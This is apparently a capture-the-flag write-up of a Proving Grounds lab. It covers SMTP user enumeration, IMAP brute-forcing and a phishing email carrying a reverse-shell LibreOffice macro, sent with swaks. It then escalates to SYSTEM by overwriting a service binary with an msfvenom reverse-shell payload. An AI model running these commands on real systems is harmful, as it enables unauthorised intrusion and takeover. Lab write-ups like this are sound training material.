Enumeration

Nmap

Initial nmap scan revealed Mail ports and HTTP port 8000 were open. Moreover, FTP and VNC ports were open in non-common ports.

03 - nmap again

Web Enumeration

Visiting the web page revealed some names. But one name had different description than others.

04 - what is this

At first, I used username-anarchy to create a username list. Then using smtp-user-enum tool, I obtained 5 valid users.

02 - usernames

Then I brute forced imap, smtp and SMB login. At first I tried NSR brute force. Then I tried to brute force with interesting description value and found IMAP credentials for jonas.

05 - imap login

Then following this https://hackviser.com/tactics/pentesting/services/imap blog, I logged in to IMAP and started reading emails.

a1 LOGIN username password
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1 BODY[]

06 - imap login

One of the email suggested they are using LibreOffice and opening every document attached. So we had to do Malicious Macro Injection for LibreOffice. Moreover, it revealed target mail mailadmin@localhost

07 - libre office

Exploitation

Malicious Macro - LibreOffice

I found this repo (0bfxgh0st/MMG-LO), which allows you to create reverse shell macro injected libre files.

So I created a malicious ODS file. Then using swaks I sent it to mailadmin. And started waiting with netcat listener.

python mmg-ods.py windows LHOST LPORT
swaks -t mailadmin@localhost --from jonas@localhost --attach @MALICIOUS_FILE --server TARGET_IP --body "hi" --header "subject: test"

08 - malicious libre generate and swaks

Later, I obtained the user shell.

09 - local flag

Privilege Escalation

Service Abuse (Writeable Service Binary)

I executed PowerUp.ps1 and found that VeyonService is executed with SYSTEM privileges and I could write onto it.

10 - veyon service

So at first, I created a malicious exe file with msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.164 LPORT=8080 -f exe  -o exp.exe

And then transfered it to target.

11 - transfer exp

Then, I overwrote the veyon-service.exe file with my malicious file.

12 - 0 transfered

I had no permission to restart the service. So, I rebooted the machine using shutdown /s /t 0 command.

12 - reboot

After waiting, I obtained the SYSTEM shell.

13 - Admin flag


<
Previous Post
DVR4 - Proving Grounds Practice
>
Next Post
Plum - Proving Grounds Practice